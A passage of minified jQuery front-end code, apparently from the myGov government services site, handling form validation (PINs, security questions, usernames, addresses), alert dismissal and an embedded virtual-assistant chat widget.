attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);if(hidden==null){securityCodesInfo.setAttribute("hidden","true");}else{securityCodesInfo.removeAttribute("hidden");}});$(":radio[data-inbox-pref]").on("change",function(){var selected=this.value;switch(selected){case"mobile":formHelper.clearError($("[data-email-addr]"));formHelper.resetDefaultValue($("[data-email-addr]"));$("[data-email-addr]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-mobile-num]").closest($("label")).removeAttr("hidden aria-hidden");break;case"email":formHelper.clearError($("[data-mobile-num]"));formHelper.resetDefaultValue($("[data-mobile-num]"));$("[data-mobile-num]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-email-addr]").closest($("label")).removeAttr("hidden aria-hidden");break;default:}});(function($){var initSQA=function(){var $form=$(".sqa-form"),$question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$(".selectRadio input:radio").on("blur change",function(){var selectedRadioName=$(".selectRadio input:radio:checked").val();if((selectedRadioName)===undefined){formHelper.setErrorSelect($(".selectRadio"),"Make a selection");}else{formHelper.clearErrorSelect($(".selectRadio"));}});$question.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="Enter a question";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The question can't be more than 100 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($question);}chkQuestionAnswerSame();});$answer.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="Enter an answer";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The answer can't be more than 40 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($answer);}});$question.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="The question can't be more than 100 characters, including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});$answer.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="The answer can't be more than 40 characters including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});var chkQuestionAnswerSame=function(){var errMsg="The question and answer must be different";$questionValue=$question.length>0?$question.val().trim().toLowerCase():"";$answerValue=$answer.val().trim().toLowerCase();if(!$questionValue||!$answerValue||(!$questionValue&&!$answerValue)){return;}if($questionValue===$answerValue){return true;}else{return false;}};};var toggleOwnQuestion=function(){var $question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$("[data-prefillquestion]").prev("input").on("change",function(){$question.val($(this).next().text());$question.parent().hide();});$("input[name=radioQuestion]").on("change",function(){var $selectedQuestion=$("input[name=radioQuestion]:checked"),$lastQuestion=$("input[name=radioQuestion]").last();if($selectedQuestion.val()!==$answer.val()){formHelper.clearError($answer);}else{formHelper.setError($answer,"The question and answer must be different","p");}if($lastQuestion.is(":checked")){formHelper.clearError($selectedQuestion);formHelper.clearError($answer);$question.val("");$question.parent().show().css("display","block");}else{formHelper.clearError($question);$question.parent().hide();}});};toggleOwnQuestion();initSQA();})(jQuery);(function($){$(document).ready(function(){if($("[data-date]").length>0){if($("[data-date]").val()!==""){var date=$("[data-date]").val().split("/");var $parent=$(".date-fields");day=$parent.find("[data-date-day]").val(date[0]);month=$parent.find("[data-date-month]").val(date[1]);year=$parent.find("[data-date-year]").val(date[2]);formHelper.enableDate();}}$("#raetDiv-home").on("change","input",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}});$("#same-as-residential").on("change",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}else{$("#postal-section input").val("");}});$("#same-as-residential").on("click",function(){$("#postal-section").toggle();});$("#raetDiv-home, #raetDiv-postal").on("blur keyup","input",function(){resetDate();});var homeSectionBlank=function(){var blank=true;$("#raetDiv-home input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var postalSectionBlank=function(){var blank=true;$("#raetDiv-postal input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var resetDate=function(){var homeBlank=homeSectionBlank();var postalBlank=postalSectionBlank();var blank=homeBlank&&postalBlank;blank?formHelper.disableDate():formHelper.enableDate();};var mapHomePostal=function(){$("#delivery-address-line-1-singleLine").val($("#residential-address-line-1-singleLine").val());$("#postal-address").val($("#home-address").val());$("#postal-suburb").val($("#home-suburb").val());$("#postal-postcode").val($("#home-postcode").val());$("#postal-state").val($("#home-state").val());};function raetToggleText(element,name){if($("#raetDiv-"+name).attr("data-view")==="multi"){element.text("Find my "+name+" address");}if($("#raetDiv-"+name).attr("data-view")==="single"){element.text("I can't find my "+name+" address");}}function raetToggleView(name){$(".raet-"+name+"-anchor").on("click",function(){$("#raetDiv-"+name).attr("data-view",function(index,attr){return attr=="multi"?"single":"multi";});raetToggleText($(this),name);if($("#raetDiv-"+name).attr("data-view")==="multi"){raetAddress("multi",name);}if($("#raetDiv-"+name).attr("data-view")==="single"){raetAddress("single",name);}$(this).attr("aria-pressed","true").attr("aria-live","polite").attr("aria-atomic","true");$("#raetDiv-"+name).find("input")[0].focus();resetDate();});}raetToggleView("home");raetToggleView("postal");function removeContainers(root){if(root){$("> .raet-container",$(root)).remove();}}function raetAddress(view,name){var rootContainer=$("#raetDiv-"+name);if(rootContainer){removeContainers(rootContainer);var config={webService:"prod_secure",destination:document.getElementById("raetDiv-"+name),fields:{streetAddress:document.getElementById(name+"-address"),suburb:document.getElementById(name+"-suburb"),postcode:document.getElementById(name+"-postcode"),state:document.getElementById(name+"-state")},labels:{singleLine:"Find address"}};if(view==="single"){config.type="singleLine";}if(view==="multi"){config.integration=true;}Raet(config);}}function raetInit(name){$("#"+name+"-output").each(function(){var allEmpty=true;$(this).find('input[type="text"]').each(function(){if(this.value.trim().length>0){allEmpty=false;$("#raetDiv-"+name).attr("data-view","multi");raetAddress("multi",name);raetToggleText($(".raet-"+name+"-anchor"),name);return false;}});if(allEmpty===true){$("#raetDiv-"+name).attr("data-view","single");raetAddress("single",name);raetToggleText($(".raet-"+name+"-anchor"),name);}});}raetInit("home");raetInit("postal");});})(jQuery);$(document).ready(function(){$("[data-identity-expanded]").on("click",function(){$(this).attr("aria-expanded",function(name,value){return value==="false"?"true":"false";});$(".identity-hub-info-text").slideToggle();clearArrows();if($(this).attr("aria-expanded")==="true"){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").addClass("link-arrow-up");}else{$("#find-out-more-digital-identity").removeClass("link-arrow-up");$("#find-out-more-digital-identity").addClass("link-arrow-down");}});function clearArrows(){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").removeClass("link-arrow-up");}$("[data-login-username]").on("blur",function(){if($(this).val().trim()!==""){var message="Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.";if(formHelper.isEmailValid($(this).val())||(/^[A-z]{2}[0-9]{6}$/g).test($(this).val())||formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),message,"p");}}else{formHelper.setError($(this),"Enter a username or email address","p");}});$("#mygov-beta").on("click",function(e){var action=dynaTrace.enterAction("myGovBetaNav","click");dynaTrace.leaveAction(action);});});window.addEventListener("hashchange",function(event){var element=document.getElementById(location.hash.substring(1));if(element){if(!/^(?:a|select|input|button|textarea)$/i.test(element.tagName)){element.tabIndex=-1;}element.focus();}},false);$("[data-poro-input]").on("blur",function(){if($(this).val()!==""){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{var pattern=new RegExp($(this).attr("data-pattern"));var validPattern=pattern.test($(this).val());if(!validPattern){var patternMsg=$(this).attr("data-pattern-msg");var msg="Enter a valid value";msg=patternMsg!==undefined?patternMsg:msg;formHelper.setError($(this),msg,"p");}else{formHelper.clearError($(this));}}}});$("[data-poro-input-mandatory]").on("blur",function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{if(formHelper.isNotEmpty($(this).val())){if($(this).attr("data-poro-input")===undefined){formHelper.clearError($(this));}}else{formHelper.setError($(this),"Require a value","p");}}});$("[data-poro-checkbox-mandatory]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Must be selected","p");}});$("[data-helptext-toggle]").on("click",function(){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");tabindex=tabindex==="-1"?"0":"-1";$ariaControl.attr("tabindex",tabindex);$ariaControl.toggle();});$("[button-poro-cancel]").on("click",function(e){e.preventDefault();});$("[data-helptext-toggle]").on("keypress",function(e){if(e.which===32){$(this).trigger("click");}if(e.which===9){e.preventDefault();}});$("[data-number--only]").on("blur",function(e){if(formHelper.isNotEmpty($(this).val())&&formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid number","p");}});$("[data-number--optional]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{if(formHelper.isNotEmpty($(this).val())){formHelper.setError($(this),"Enter a valid number","p");}}});$("[data-medicare--input]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))&&$(this).val().length===10){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid medicare number","p");}});$(document).ready(function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){$("input[name*=clkCRN]").addClass("is-visuallyhidden").val("000000000Z");$("button[name=_eventId_next]").text("Continue");}var keyup_checker=function(evt){var stroke,_ref;stroke=(_ref=evt.which)!=null?_ref:evt.keyCode;this.search_field_scale();switch(stroke){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices_count()>0){return this.keydown_backstroke();}else{if(!this.pending_backstroke){this.result_clear_highlight();return this.results_search();}}break;case 13:evt.preventDefault();evt.stopPropagation();if(this.results_showing){return this.result_select(evt);}else{this.results_search();}break;case 27:if(this.results_showing){this.results_hide();}return true;case 9:case 38:case 40:case 16:case 91:case 17:case 18:break;default:return this.results_search();}};$(".chosen-select-man, .chosen-select").each(function(i,select){var $select=$(select);var container=$select.chosen($select.hasClass(".chosen-select")?{allow_single_deselect:true}:{});var data=container.data("chosen");if(data){data.keyup_checker=keyup_checker;data.container.on("keydown",function(e){if(e.key==="Enter"||e.keyCode===13){e.preventDefault();e.stopPropagation();}});var showing=false;data.container.focusin(function(e){if(!showing){data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});}});$select.on("chosen:showing_dropdown",function(){showing=true;data.dropdown.css({left:"",bottom:"",overflow:"","z-index":"1"});});$select.on("chosen:hiding_dropdown",function(){showing=false;data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});});}});});$(document).ready(function(){var uPIN={init:function(){uPIN.cacheDom();uPIN.onBlur(uPIN.$newPin);uPIN.onBlur(uPIN.$reenterPin);uPIN.onKeyup(uPIN.$newPin);uPIN.onKeyup(uPIN.$reenterPin);$(uPIN.$currentPin).on("blur",function(){console.log(uPIN.$currentPin);if(!uPIN.isEmpty(this)){return;}});$(uPIN.$newPin).on("blur",function(){if(uPIN.$reenterPin.val()!=""){uPIN.$reenterPin.trigger("keyup");}});uPIN.$Pin=$("[data-pin]");$(uPIN.$currentPin).on("blur",function(){if(!uPIN.isEmpty(this)){return;}});},cacheDom:function(){uPIN.$currentPin=$("[data-current-pin]");uPIN.$newPin=$("[data-new-pin]");uPIN.$reenterPin=$("[data-reenter-pin]");},isEmpty:function(element){if(formHelper.isEmpty(element.value)){formHelper.setError($(element),"Enter a PIN","p");return false;}else{formHelper.clearError($(element));return true;}},onBlur:function(element){$(element).on("blur",function(){uPIN.validate(this);});},onKeyup:function(element){$(element).on("keyup",function(e){if(e.which===9){return;}if(e.which===16){return;}uPIN.match(this);});},match:function(element){var successMsg,errorMsg,isSame;if(element.attributes.hasOwnProperty("data-reenter-pin")){isSame=formHelper.isTypingSame(uPIN.$reenterPin,uPIN.$newPin);}if(isSame!==undefined){if(isSame){successMsg="Your PINs are the same";errorMsg="";}else{errorMsg="The PIN you've re-entered doesn't match your new PIN";successMsg="";}if(formHelper.isNotEmpty(uPIN.$reenterPin.val())){(errorMsg!=="")?formHelper.setError(uPIN.$reenterPin,errorMsg,"p"):formHelper.setSuccess(uPIN.$reenterPin,successMsg);}}},maxChars:function(element){if(element.value.length!==4){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notAscending:function(element){if(element.value.length===4&&"0123456789".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notDescending:function(element){if(element.value.length===4&&"9876543210".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},numericOnly:function(element){if(!(/^\d*$/g).test(element.value)){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},sameDigits:function(element){if((/^([0-9])\1{3}$/g).test(element.value)){formHelper.setError($(element),"Your PIN can't contain 4 of the same number","p");return false;}else{formHelper.clearError($(element));return true;}},validate:function(element){if(!uPIN.isEmpty(element)){return;}if(!uPIN.maxChars(element)){return;}if(!uPIN.numericOnly(element)){return;}if(!uPIN.sameDigits(element)){return;}if(!uPIN.notAscending(element)){return;}if(!uPIN.notDescending(element)){return;}if(!uPIN.match(element)){return;}}};uPIN.init();});$(document).ready(function(){var usernameField=$("[data-username]");function validateUsername($inputField){var unameval=$inputField.val(),unameMatch=unameval?formHelper.isUserIdValid(unameval):false,emailMatch=unameval?formHelper.isEmailValid(unameval):false,mobileMatch=unameval?formHelper.isMobileValid(unameval):false;if(unameMatch||emailMatch||mobileMatch){formHelper.clearError($inputField);if(mobileMatch){formHelper.setInfo($inputField,'You must have this <a href="/mygov/content/html/help.html#MobileNumber">mobile number</a> set up as a username in your Account settings.');}else{formHelper.clearInfo($inputField);}}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.","p");}}usernameField.on("focusout",function(){if(!this.hasAttribute("dont-validate")){validateUsername($(this));}});});$(document).ready(function(){var usernameEmailField=$("[data-username-email]");function validateUsernameEmail($inputField){var unameval=$inputField.val(),emailMatch=unameval?formHelper.isEmailValid(unameval):false;if(emailMatch){formHelper.clearError($inputField);}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email","p");}}usernameEmailField.on("blur",function(){if(!this.hasAttribute("dont-validate")){validateUsernameEmail($(this));}});});(function($){$(":radio[data-apdm]").on("change",function(){var selected=this.value;switch(selected){case"true":$(".button-main").replaceWith('<button type="submit" class="button-main button">Next</button>');break;case"false":$(".button-main").replaceWith('<a href="'+$("#apdmLink").val()+'" role="button" class="button-main button">Next</a>');break;default:}});})(jQuery);(function($){$(window).on("resize",function(){var $expand=$(".outage .expand");if($expand.length&&!$expand.hasClass("expand--expanded")){var content=$(".outage__content").get(0);if(content&&content.offsetWidth>=content.scrollWidth){$expand.attr({"hidden":true,"aria-hidden":true});}else{if($expand.attr("hidden")){$expand.removeAttr("hidden aria-hidden");}}}}).resize();$(".outage").on("click",".expand",function(){$(this).toggleClass("expand--expanded").next(".outage__content").toggleClass("outage__content--expanded");});$("[data-dismiss]").each(function(){$(this).append('<button class="dismiss"><span class="is-visuallyhidden">Dismiss</span></button>');});$("[data-dismiss]").on("click",".dismiss",function(e){e.preventDefault();$(this).parent().fadeOut("fast",function(){$(this).remove();});});$("[data-dismiss-otp-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss/sio");});$("[data-dismiss-inbox-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss-inbox-alert");});$("[data-banner-digiId]").on("click",".data-banner-dismiss-button",function(e){e.preventDefault();$("[data-banner-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});$("[data-alert-digiId]").on("click",".data-alert-dismiss-button",function(e){e.preventDefault();$("[data-alert-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});})(jQuery);(function($){$(document).ready(function(){function wait(seconds,formId){setTimeout(function(){submitForm(formId);},seconds*1000);}function submitForm(formId){try{document.getElementById(formId).submit();}catch(err){}}wait(10,"oidcRedirForm");wait(2,"redirForm");});})(jQuery);$("[data-home-welcome-message]").each(function(){$(this).text("Good "+getGreetingTime(moment())+" ");});function getGreetingTime(m){var g=null;if(!m||!m.isValid()){return;}var split_afternoon=12;var split_evening=17;var currentHour=parseFloat(m.format("HH"));if(currentHour>=split_afternoon&¤tHour<=split_evening){g="afternoon";}else{if(currentHour>=split_evening){g="evening";}else{g="morning";}}return g;}$(function(){var upins=$("#upin-login, #upin-input, #upin-confirm");if(global.getAndroidVersion()<4.3){$("fieldset.pin-fields, div.pin-fields").removeClass("pin-fields");upins.attr({type:"password",pattern:"[0-9]*",inputmode:"numeric"}).val("").focus();}else{upins.val("").pincodeInput({hidedigits:true,inputs:4});var upinData=upins.data("plugin_pincodeInput");if(upinData){}}if(global.getUrlParams().event==="close"){$("a.button-back-home").text("Close").removeClass("button-back").click(function(e){e.preventDefault();window.close();});}});var initPinToggle=function(){$(".showPin").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="",$pinInput=$("#pincode-input");$inputType=$passwordInput.attr("type");if($pinInput.hasClass("conceal")){setPinHide($this);}else{setPinShow($this);}});};var setPinShow=function($this){var $pinInput=$("#pincode-input");$showpinhelptext="Note: this will visually expose your pin on the screen.";$showhelp=$("#show-hide-helpmsg");$pinInput.removeClass("reveal");$pinInput.addClass("conceal");$this.attr("aria-label","Show pin as plain text.").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye.svg' alt='' /> Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpinhelptext+"</p>");};var setPinHide=function($this){var $pinInput=$("#pincode-input");$pinInput.removeClass("conceal");$pinInput.addClass("reveal");var $hidepinhelptext="Note: this will visually stop exposing your pin on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide pin").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye-off.svg' alt='' /> Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepinhelptext+"</p>");};$("body").on("click keydown","[data-idp-help-toggle]",function(e){var codes={ENTER:13};if(e.type==="click"||e.keyCode===codes.ENTER){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");$ariaControl.attr("tabindex",tabindex);if($ariaControl.css("display")==="flex"){$ariaControl.css("display","none");}else{$ariaControl.css("display","flex");}}});$(function(){var additionalSelectors="";var fields=$("[autofocus]");if(additionalSelectors){fields.add(additionalSelectors);}var focusField=fields[0];if(focusField){focusField.setAttribute("dont-validate","");global.oneUseEvent(focusField,"keyup",function(){focusField.removeAttribute("dont-validate");});}});var va_isMaximised=false;var va_isOpen=false;var va_isMobile=false;var va_pushTimeout;var va_chatStarted=false;var titleBarTitle="Ask a question";var headingTitle="Ask a question";function getMobileHeader(){var mobileLargeClass="",vaOpenClass="";if(va_isOpen){mobileLargeClass=' class="va_mobileLarge" ';vaOpenClass=" va_open";}var mobileStyle='<div id="va_mobileBar" style="border-top: #d7ea6a 5px solid"'+mobileLargeClass+' aria-live="polite" >'+'<header class="va_header">'+'<h2 class="va_chatTitle_mob" aria-live="polite" id="va_chatTitle">'+headingTitle+"</h2>"+'<div role="button" style="border: 0; margin: 0;" id="va_mobileToggle" aria-live="polite" class="va_mobileToggle'+vaOpenClass+'" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_mobileToggle")+'"></div>'+"</header>"+"</div>";return mobileStyle;}function getDesktopHeader(){var rightMargin=calcRightMargin(),desktopHeaderSize="style='right:"+rightMargin+"'",vaExpanded="",resizeIconState="",resizeIconClass="";if(va_isOpen){vaExpanded=" va_expanded";resizeIconState='style="display: block;"';if(va_isMaximised){desktopHeaderSize='style="height:490px; width:600px; right:'+rightMargin+';"';resizeIconClass=" va_large";}else{desktopHeaderSize='style="height:455px; width:350px; right:'+rightMargin+';"';}}var desktopStyle='<div id="va_chatHeader" '+desktopHeaderSize+' aria-live="polite" title="'+titleBarTitle+'" aria-label="'+titleBarTitle+'">'+'<div class="va_chatBorder"></div>'+'<header class="va_header va_clearfix" style="box-shadow:0 0 3px rgba(0,0,0,.3)">'+'<h2 class="va_chatTitle" id="va_chatTitle" aria-live="polite" >'+headingTitle+"</h2>"+'<div id="va_resizeIcon" class="va_resizeIcon'+resizeIconClass+'" '+resizeIconState+' tabindex="0" aria-live="polite" title="'+getAltText("va_resizeIcon")+'" aria-label="'+getAltText("va_resizeIcon")+'" style="display: none"></div>'+'<div id="va_toggleIcon" class="va_toggleIcon'+vaExpanded+'" tabindex="0" aria-live="polite" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_toggleIcon")+'"></div>'+"</header>"+"</div>";return desktopStyle;}function getAltText(element){if(element=="va_toggleIcon"||element=="va_mobileToggle"){if(va_isOpen){return"Hide "+titleBarTitle;}else{return"Open "+titleBarTitle;}}else{if(element=="va_resizeIcon"){if(va_isMaximised){return"View "+titleBarTitle+" in a smaller window";}else{return"View "+titleBarTitle+" in a larger window";}}}}function setAltText(element){var resizeAlt=getAltText(element);jQuery("#"+element).prop("title",resizeAlt);jQuery("#"+element).attr("aria-label",resizeAlt);}function calcRightMargin(){var windowWidth=jQuery(window).width(),maxContainerWidth=960,rightMargin="2%";return rightMargin;}function insertDiv(){var rightMargin=calcRightMargin(),chatAnchor=document.createElement("div"),appendStyle=va_isMobile==true?getMobileHeader():getDesktopHeader();chatAnchor.id="va_chatAnchor";chatAnchor.className="va_chatAnchor";chatAnchor.zIndex=99999;chatAnchor.setAttribute("role","complementary");chatAnchor.setAttribute("aria-labelledBy","va_chatTitle");document.body.appendChild(chatAnchor);jQuery("#va_chatAnchor").append(appendStyle);}function insertIframe(){var iframe=document.createElement("iframe");iframe.id=iframe.name="va_iframe";iframe.className="va_iframe";iframe.style.zIndex=9999;iframe.style.background="#E5E5E5";iframe.style.right=calcRightMargin();iframe.style.overflow="hidden";jQuery("#va_chatAnchor").append(iframe);}function determineContext(){return"";}function insertIframeSrc(){va_chatStarted=true;var context=determineContext();var source=setDAsource();setIFrameSrc(source);}function setIFrameSrc(source){if(typeof source!="undefined"&&source!=""){jQuery.when(jQuery("#va_iframe").attr("aria-live","assertive").attr("aria-relevant","additions").attr("src",source+"#/wea")).done(function(){return true;});}}function sendGoogleAnalyltics(event){try{if(ga){var context=determineContext();ga("send","event","Digital Assistant",event,context+" VA");}}catch(error){}}function addTimer(){va_pushTimeout=setTimeout(function(){sendGoogleAnalyltics("Timeout");postMessageToIframe("timeout");va_pushTimeout=null;if(!va_isMobile){jQuery("#va_chatHeader").click();}else{jQuery("#va_mobileToggle").click();}},60000);}function disableBGScrolling(){document.body.style.overflow="hidden";document.body.style.position="fixed";}function enableBGScrolling(){document.body.style.overflow="";document.body.style.position="";}function toggleVAMobile(){var toggleWidth=va_isOpen?"0px":"100%",toggleHeight=va_isOpen?"0px":(jQuery(window).height()-50);jQuery("#va_iframe").css({width:toggleWidth,height:toggleHeight,right:"0px",top:"50px"});jQuery("#va_mobileBar").toggleClass("va_mobileLarge");jQuery("#va_mobileToggle").toggleClass("va_open");va_isOpen=!va_isOpen;setAltText("va_mobileToggle");if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});disableBGScrolling();}else{enableBGScrolling();}}function addOnClickMobile(){jQuery("#va_mobileToggle").on("click",function(){sendGoogleAnalyltics("Mobile click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVAMobile();});}function isWindowMobile(){if(typeof window.matchMedia!=="undefined"){return window.matchMedia("screen and (max-width: 599px), screen and (max-height: 490px)").matches;}return jQuery(window).width()<600;}function responsiveResize(){var isNewScreenMobile=isWindowMobile();var responsiveHeight=0,responsiveWidth=0,responsiveRight="",responsiveTop="",responsiveBottom="",rightMargin=calcRightMargin();if(isNewScreenMobile){if(!va_isMobile){jQuery("#va_chatHeader").replaceWith(getMobileHeader());jQuery("#va_iframe").css("display","");addOnClickMobile();}if(va_isOpen){disableBGScrolling();responsiveHeight=jQuery(window).height()-50;responsiveWidth=jQuery(window).width();responsiveRight="0px";responsiveTop="50px";}}else{enableBGScrolling();if(va_isMobile){jQuery("#va_mobileBar").replaceWith(getDesktopHeader());addOnClickDesktop();addOnResize();}else{jQuery("#va_chatHeader").css({right:rightMargin});}if(va_isOpen){responsiveBottom="0px";if(va_isMaximised){responsiveHeight=435;responsiveWidth=600;}else{responsiveHeight=400;responsiveWidth=350;}}responsiveRight=rightMargin;}jQuery("#va_iframe").css({height:responsiveHeight,width:responsiveWidth,right:responsiveRight,top:responsiveTop,bottom:responsiveBottom});va_isMobile=isNewScreenMobile;}function toggleVADesktop(){var ariaHidden=va_isOpen?"true":"false";if(va_isMaximised){var toggleHeight=va_isOpen?"0px":"435px",toggleWidth=va_isOpen?"0px":"600px",headerHeight=va_isOpen?"55px":"490px",headerWidth=va_isOpen?"350px":"600px";}else{var toggleHeight=va_isOpen?"0px":"400px",toggleWidth=va_isOpen?"0px":"350px",headerHeight=va_isOpen?"55px":"455px",headerWidth="350px";}if(!va_isOpen){if(va_isMaximised){jQuery("#va_iframe").animate({height:toggleHeight,width:toggleWidth});if(!jQuery("#va_resizeIcon").hasClass("va_large")){jQuery("#va_resizeIcon").addClass("va_large");}}else{jQuery("#va_iframe").animate({height:toggleHeight});jQuery("#va_iframe").css({width:toggleWidth});}jQuery("#va_iframe").css("display","inline-block");postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}else{jQuery("#va_iframe").animate({height:toggleHeight,width:"350px"});setTimeout(function(){jQuery("#va_iframe").css({width:toggleWidth,display:"none"});},500);}jQuery("#va_chatHeader").animate({height:headerHeight,width:headerWidth},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:headerWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggle();jQuery("#va_toggleIcon").toggleClass("va_expanded");jQuery("#va_skipToConversation").toggleClass("active");jQuery("#va_skipToConversation").attr("aria-hidden",ariaHidden);postMessageToIframe("setAriaHiddenTags"+ariaHidden);va_isOpen=!va_isOpen;setAltText("va_toggleIcon");return true;}function addOnClickDesktop(){jQuery("#va_chatHeader").on("click",function(e){sendGoogleAnalyltics("Desktop click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVADesktop();return false;});jQuery("#va_toggleIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_chatHeader").click();}});}function addOnResize(){jQuery("#va_resizeIcon").on("click",function(e){resizeVA();e.stopPropagation();return false;});jQuery("#va_resizeIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_resizeIcon").click();e.stopPropagation();}});}function resizeVA(){var resizeWidth=va_isMaximised?"350px":"600px",resizeHeight=va_isMaximised?"400px":"435px",resizeHeaderHeight=va_isMaximised?"455px":"490px",resizeHeaderWidth=va_isMaximised?"350px":"600px";jQuery("#va_chatHeader").animate({width:resizeHeaderWidth,height:resizeHeaderHeight},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:resizeHeaderWidth},{duration:400,queue:false});jQuery("#va_iframe").animate({height:resizeHeight,width:resizeWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggleClass("va_large");va_isMaximised=!va_isMaximised;setAltText("va_resizeIcon");}function addOnBackwardsTabbing(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackward");e.preventDefault();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function loopFocusBackwardWithError(){jQuery("#va_resizeIcon").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardWithError");e.preventDefault();}});}function addSkipToConversationTabListener(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardOptionButton");e.stopPropagation();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function addOnSkipToConversation(){jQuery("#va_skipToConversation").on("click",function(e){postMessageToIframe("skiptoConversation");e.stopPropagation();return false;});addOnBackwardsTabbing();}function addSkipToBot(){var skipLinks=jQuery(".skip-links");var skipLinkClass="";if(skipLinks.length==0){skipLinks=jQuery(".uikit-skip-link");skipLinkClass='class="uikit-skip-link__link"';}skipLinks.append("<a "+skipLinkClass+' id="va_skipToBot" href="#">Skip to 